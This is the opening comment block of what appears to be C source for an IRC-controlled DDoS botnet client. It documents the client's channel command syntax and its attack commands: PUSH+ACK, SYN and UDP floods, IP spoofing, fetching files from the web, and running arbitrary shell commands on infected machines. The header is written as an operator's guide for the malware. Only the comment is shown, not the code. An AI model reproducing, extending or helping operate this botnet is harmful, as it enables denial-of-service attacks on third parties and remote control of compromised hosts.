  1. /*******************************************************************************
  2. * This is a IRC based distributed denial of service client. It connects to *
  3. * the server specified below and accepts commands via the channel specified. *
  4. * The syntax is: *
  5. * !<nick> <command> *
  6. * You send this message to the channel that is defined later in this code. *
  7. * Where <nick> is the nickname of the client (which can include wildcards) *
  8. * and the command is the command that should be sent. For example, if you *
  9. * want to tell all the clients with the nickname starting with N, to send you *
  10. * the help message, you type in the channel: *
  11. * !N* HELP *
  12. * That will send you a list of all the commands. You can also specify an *
  13. * astrick alone to make all client do a specific command: *
  14. * !* SH uname -a *
  15. * There are a number of commands that can be sent to the client: *
  16. * TSUNAMI <target> <secs> = A PUSH+ACK flooder *
  17. * PAN <target> <port> <secs> = A SYN flooder *
  18. * UDP <target> <port> <secs> = An UDP flooder *
  19. * UNKNOWN <target> <secs> = Another non-spoof udp flooder *
  20. * NICK <nick> = Changes the nick of the client *
  21. * SERVER <server> = Changes servers *
  22. * GETSPOOFS = Gets the current spoofing *
  23. * SPOOFS <subnet> = Changes spoofing to a subnet *
  24. * DISABLE = Disables all packeting from this bot *
  25. * ENABLE = Enables all packeting from this bot *
  26. * KILL = Kills the knight *
  27. * GET <http address> <save as> = Downloads a file off the web *
  28. * VERSION = Requests version of knight *
  29. * KILLALL = Kills all current packeting *
  30. * HELP = Displays this *
  31. * IRC <command> = Sends this command to the server *
  32. * SH <command> = Executes a command *
  33. * Remember, all these commands must be prefixed by a ! and the nickname that *
  34. * you want the command to be sent to (can include wildcards). There are no *
  35. * spaces in between the ! and the nickname, and there are no spaces before *
  36. * the ! *
  37. * *
  38. * - contem on efnet *
